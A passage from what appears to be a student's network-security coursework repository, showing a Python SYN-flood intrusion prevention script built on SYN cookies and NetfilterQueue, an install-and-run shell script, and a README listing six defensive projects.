85 | conf.L3socket=L3RawSocket
86 | ip = IP(src=packet[IP].src, dst=SERVER_IP)
87 | syn = TCP(sport=packet[TCP].sport, dport=SERVER_PORT, flags='S', seq = num)
88 | packet = ip/syn
89 | send(packet,iface="lo")
90 | print "internal syn sent"
91 |
92 |
93 | def sendACK(packet): # To the server
94 | num = packet[TCP].ack+1
95 | print "ignore this " + str(num)
96 | packetToIgnore.append(num)
97 | conf.L3socket=L3RawSocket
98 | ip = IP(src=packet[IP].src, dst=SERVER_IP)
99 | syn = TCP(sport=packet[TCP].sport, dport=SERVER_PORT, flags='A', seq=num, ack =packet[TCP].seq+1)
100 | packet = ip/syn
101 | send(packet,iface="lo")
102 | print "internal ack sent"
103 |
104 |
105 |
106 |
107 | def buildCookie(packet):
108 | time = datetime.datetime.now().strftime("%y-%m-%d-%H-%M")
109 | ipCliet = packet[IP].src
110 | clientPort = packet[TCP].sport
111 | ipServer = packet[IP].dst
112 | serverPort = packet[TCP].dport
113 | hashValue = abs(hash(time + ipCliet + str(clientPort) +ipServer + str(serverPort) + HASH_SEED_SECRET))% 4294967295
114 |
115 | # print "##the cookie is: " + str(hashValue)
116 | return hashValue
117 |
118 |
119 |
120 | def testCookie(packet): #This functin checks it the client response is correct
121 | time = datetime.datetime.now().strftime("%y-%m-%d-%H-%M")
122 | ipClient = packet[IP].src
123 | clientPort = packet[TCP].sport
124 | ipServer = packet[IP].dst
125 | serverPort = packet[TCP].dport
126 | hashValueNow = abs(hash(time + ipClient + str(clientPort) +ipServer + str(serverPort) + HASH_SEED_SECRET))% 4294967295
127 |
128 | time = (datetime.datetime.now()+timedelta(0,-60)).strftime("%y-%m-%d-%H-%M")
129 | hashValuePast = abs(hash(time + ipClient + str(clientPort) +ipServer + str(serverPort) + HASH_SEED_SECRET))% 4294967295
130 |
131 | time = (datetime.datetime.now()+timedelta(0,60)).strftime("%y-%m-%d-%H-%M")
132 | hashValueFut = abs(hash(time + ipClient + str(clientPort) +ipServer + str(serverPort) + HASH_SEED_SECRET))% 4294967295
133 |
134 | # print "##the cookie reply is: " + str(hashValuePast) +" "+ str(hashValueNow) +" "+ str(hashValueFut)
135 |
136 | replySeqNumber = packet[TCP].ack-1
137 |
138 | if replySeqNumber == hashValuePast or replySeqNumber == hashValueNow or replySeqNumber == hashValueFut:
139 | return 1
140 | else:
141 | return 0
142 |
143 |
144 |
145 |
146 | def setIpTrust(pacekt):
147 | ipTrust.append(pacekt[IP].src)
148 | seqNumerOfIpTrust.append(pacekt[TCP].seq-1) # it should be -2 but my client is not increasing the seq in the ack
149 |
150 |
151 | def whiteListIp(seqNumber):
152 | for i in range (len(ipTrust)):
153 | if seqNumerOfIpTrust[i] == seqNumber:
154 | print "trustig the ip: "+ipTrust[i]
155 | ipWhiteList.append(ipTrust[i])
156 | ipTrust.pop(i)
157 | seqNumerOfIpTrust.pop(i)
158 | return
159 |
160 | def checkWhiteList(ip):
161 | for i in range (len(ipWhiteList)):
162 | if ipWhiteList[i] == ip:
163 | return 1
164 | else:
165 | return 0
166 |
167 |
168 |
169 |
170 |
171 | def print_and_accept(packet):
172 | data = IP(packet.get_payload())
173 |
174 | if data[TCP].dport == SERVER_PORT: #this is what is entering the server
175 |
176 | if data.haslayer("HTTP") and data["HTTP"].Method == "GET": #let filter out all the interesting packet
177 | print "in - this is a HTTP GET requesting the path "+ data["HTTP"].Path
178 | if checkWhiteList(data[IP].src) == 1:
179 | packet.accept()
180 | return
181 | else:
182 | packet.drop()
183 | return
184 | else:
185 |
186 | if data.tos == 0:
187 | #print (data[IP].src)+" "+str(data[TCP].sport)
188 | typeTCP = data[TCP].flags
189 |
190 | if typeTCP & SYN and typeTCP & ACK:
191 | print "in - this is a SYN ACK" + " seq:" + str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
192 | else:
193 | if typeTCP & FIN and typeTCP & ACK:
194 | print "in - this is a FIN ACK"
195 | else:
196 | if typeTCP & SYN:
197 | print "in - this is a SYN" + " seq:"+ str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
198 | if checkWhiteList(data[IP].src) == 1:
199 | packet.accept()
200 | return
201 | else:
202 | if isThisToIgnore(data[TCP].seq) == 1: #this is a loopback to the server
203 | print "*this is a loopback packet"
204 | removePacketToIgnore(data[TCP].seq)
205 | packet.accept()
206 | return
207 | else:
208 | packet.drop()
209 | sendSYNACK(data)
210 | return
211 | else:
212 | if typeTCP & FIN:
213 | print "in - this is a FIN"
214 | else:
215 | if typeTCP & ACK:
216 | print "in - this is a ACK" + " seq:"+ str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
217 | if checkWhiteList(data[IP].src) == 1:
218 | packet.accept()
219 | return
220 | else:
221 | if isThisToIgnore(data[TCP].seq) == 1: #this is a loopback to the server
222 | print "*this is a loopback packet"
223 | removePacketToIgnore(data[TCP].seq)
224 | packet.accept()
225 | #time.sleep(100)
226 | return
227 | else:
228 | packet.drop()
229 | if testCookie(data) == 1:
230 | #build handshake with server
231 | print "challenge win starting the handshake"
232 | setIpTrust(data)
233 | sendSYN(data)
234 | else:
235 | #blackList this IP
236 | print "challenge fail"
237 | return
238 | else:
239 | if typeTCP & RST:
240 | print "in - this is a RST"
241 |
242 | packet.accept()
243 | else: # this is what is leaving the server
244 | if data.haslayer("HTTP"): #let filter out all the interesting packet
245 | print "out - this is a HTTP "
246 | else:
247 |
248 | if data.tos == 0:
249 | typeTCP = data[TCP].flags
250 |
251 | if typeTCP & SYN and typeTCP & ACK:
252 | print "out - this is a SYN ACK" + " seq:" + str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
253 | if checkWhiteList(data[IP].dst) == 1:
254 | packet.accept()
255 | return
256 | else:
257 | packet.drop()
258 | sendACK(data)
259 | whiteListIp(data[TCP].ack-1)
260 | return
261 | else:
262 | if typeTCP & FIN and typeTCP & ACK:
263 | print "out - this is a FIN ACK"
264 | else:
265 | if typeTCP & SYN:
266 | print "out - this is a SYN" + " seq:"+ str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
267 | else:
268 | if typeTCP & FIN:
269 | print "out - this is a FIN"
270 | else:
271 | if typeTCP & ACK:
272 | print "out - this is a ACK" + " seq:"+ str(data[TCP].seq) +" ack:"+ str(data[TCP].ack)
273 | else:
274 | if typeTCP & RST:
275 | print "out - this is a RST"
276 | packet.accept()
277 |
278 |
279 |
280 | HASH_SEED_SECRET = make_random_password()
281 |
282 |
283 | nfqueue = NetfilterQueue()
284 | nfqueue.bind(1, print_and_accept)
285 |
286 |
287 | try:
288 | nfqueue.run()
289 | except KeyboardInterrupt:
290 | print('')
291 |
292 | nfqueue.unbind()
--------------------------------------------------------------------------------
/Project 6/Project files/Task5/run.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install apache2 -y
7 |
8 | sudo apt-get install python-scapy
9 | sudo apt install python-pip
10 | sudo -H pip install --upgrade pip
11 | sudo -H pip install scapy-ssl_tls
12 | sudo apt-get install libpcap-dev
13 | sudo pip install scapy-http
14 |
15 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
16 | sudo pip install NetfilterQueue
17 |
18 | sudo iptables -F
19 | sudo iptables -A INPUT -p tcp --dport 80 -j NFQUEUE --queue-num 1
20 | sudo iptables -A OUTPUT -p tcp --sport 80 -j NFQUEUE --queue-num 1
21 | sudo python IPS.py
22 | sudo iptables -F
23 |
24 |
25 |
--------------------------------------------------------------------------------
/Project 6/Project files/Week6 - Umeer Mohammad.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 6/Project files/Week6 - Umeer Mohammad.pdf
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Advanced Network Security Projects
2 | This repository contains a series of projects relative to network security (attack and mitigation).
3 | For a period of 6 intense weeks, every week I worked on the development of different projects related to network security, by studying vulnerabilities and countermeasures in networking systems and communication protocols, I developed a set of active defence mechanisms to protect a system on different layers.
4 | The project's complexity grows with the increase of their numbering, hence the project #6 is more intricate than #1.
5 |
6 | All the codes developed were written in C++ and/or Python on a Linux OS.
7 | Every projects folder contains the following files:
8 | - Description document which defines the guidelines/deliverables and in some cases input and example of output files.
9 | - The project source code
10 |
11 | ## Topics
12 | - Project 1: DNS packet capture and fields parsing (byte level malicious detection)
13 | - Project 2: Dynamic ARP Inspection Module
14 | - Project 3: ARP-request reply attack defence (WEP)
15 | - Project 4: DDoS mitigation (iptables - bloom filters - longest prefix match trie)
16 | - Project 5: Traffic fingerprinting of TLS flows (Markov chains)
17 | - Project 6: IPS for SYN flood mitigations (Statical/Behavioral/Cookies protections)
18 |
--------------------------------------------------------------------------------